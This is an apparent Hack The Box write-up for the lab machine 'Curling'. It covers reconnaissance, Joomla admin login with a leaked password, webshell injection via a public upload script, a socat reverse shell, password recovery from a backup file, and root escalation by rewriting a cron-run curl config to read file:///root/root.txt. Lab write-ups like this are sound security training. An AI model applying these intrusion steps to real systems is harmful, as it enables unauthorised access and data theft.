Hack The Box - Writeup

Curling

Patrick Hener

October 30, 2018

Table of Content

Recon

As always Recon starts with nmap.

nmap

```
Discovered open port 80/tcp on 10.10.10.150
Discovered open port 22/tcp on 10.10.10.150
```

Results of nmap with service scan

Port	Status	Service
22/tcp	open	OpenSSH 7.6p1 Ubuntu 4
80/tcp	open	Apache httpd 2.4.29

gobuster

```
--- loot/curling <master> » gobuster \
-w /usr/share/dirbuster/directory-list-lowercase-2.3-medium.txt \
-u http://10.10.10.150

Gobuster v1.4.1              OJ Reeves (@TheColonial)
=====================================================
=====================================================
[+] Mode         : dir
[+] Url/Domain   : http://10.10.10.150/
[+] Threads      : 10
[+] Wordlist     : /usr/share/dirbuster/directory-list-lowercase-2.3-medium.txt
[+] Status codes : 301,302,307,200,204
=====================================================
/images (Status: 301)
/templates (Status: 301)
/media (Status: 301)
/modules (Status: 301)
/bin (Status: 301)
/plugins (Status: 301)
/includes (Status: 301)
/language (Status: 301)
/components (Status: 301)
/cache (Status: 301)
```

```
/libraries (Status: 301)
/tmp (Status: 301)
/layouts (Status: 301)
/administrator (Status: 301)
/cli (Status: 301)
=====================================================
```

Browser

Checking the source of the page you will discover the following at the end of the source code:

```
        </p>
            <p>
                &copy; 2018 Cewl Curling site!          </p>
        </div>
    </footer>

</body>
      <!-- secret.txt -->
</html>
```

Browsing to http://10.10.10.150/secret.txt you will see a base64 encoded password? which decodes to `Curling2018!`. Also browsing the page you will see the Super User signed his article with the name *Floris*.

And sure enough you can log in under */administrator* using *floris:Curling2018!*.

Initial Foothold - Get user.txt

I am using a python script from herehttps://raw.githubusercontent.com/rootphantomer/hack_tools_for_me/master/Joomla-Shell-Upload.py to inject a webshell.

```
--- loot/curling <master> » python2 Joomla-Shell-Upload.py
[+] Checking: http://10.10.10.150
[+] Found init token: be0e5a172b3ed63e720386a6bbc41276
[+] Preparing login request
[+] At this stage we should be logged-in as an admin :)
[+] File to change: jsstrings.php
[+] Grabbing new token from logged-in user: ede3e757509c1ae6d77a8c78148d899d
[+] Shellname: jsstrings.php
[+] Shell is ready to use: /templates/beez3/jsstrings.php?x=id
[+] Checking:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

```
[+] Module finished.
```

After having the webshell I can issue commands here: http://10.10.10.150/templates/beez3/jsstrings.php?x=, where after the x you will append the commands.

For having a stable and comfortable reverse shell I upload a static *socat* and issue a reverse connection to my host.

```
www-data@curling:/$ export TERM=xterm-256color
www-data@curling:/$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@curling:/$ hostname
curling
www-data@curling:/$
```

There is a password_backup file in *floris* home directory, which you wanna copy to your host. Then starts a journey of conversion from hex to bzip to gzip to bzip again to tar and then to a password.txt, which content is the password of *floris*: `5d<wdCbdZu)|hChXll`.

In the socat session just `su floris` and provide the password.

And there you go:

```
floris@curling:~$ whoami
floris
floris@curling:~$ pwd
/home/floris
floris@curling:~$ cat user.txt
65dd1df0713b40d88ead98cf11b8530b
floris@curling:~$
```

You might wanna use ssh from this point on in terms of convenience.

Priv Esc - Get root.txt

In the directory *admin-area* you will find two files. An input file and a report file.

As it turns out every minute the input file (which is a curl config file) is taken automatically. So curling to 127.0.0.1 results in the webpage shown in the report file.

Altering the content of the input file to:

```
url = "file:///root/root.txt"
output = "/tmp/root.txt"
```

will copy the root flag to /tmp the next minute.

```
floris@curling:/tmp$ ls -la
total 48
drwxrwxrwt 11 root root 4096 Oct 30 13:14 .
drwxr-xr-x 23 root root 4096 May 22 18:32 ..
drwxrwxrwt  2 root root 4096 Oct 30 09:48 .font-unix
drwxrwxrwt  2 root root 4096 Oct 30 09:48 .ICE-unix
-rw-r--r--  1 root root   33 Oct 30 13:14 root.txt
drwxrwxrwt  2 root root 4096 Oct 30 09:48 .Test-unix
drwx------  2 root root 4096 Oct 30 09:48 vmware-root
drwxrwxrwt  2 root root 4096 Oct 30 09:48 .X11-unix
drwxrwxrwt  2 root root 4096 Oct 30 09:48 .XIM-unix

floris@curling:/tmp$ cat root.txt
82c198ab6fc5365fdc6da2ee5c26064a
```

Be sure to reset the machine.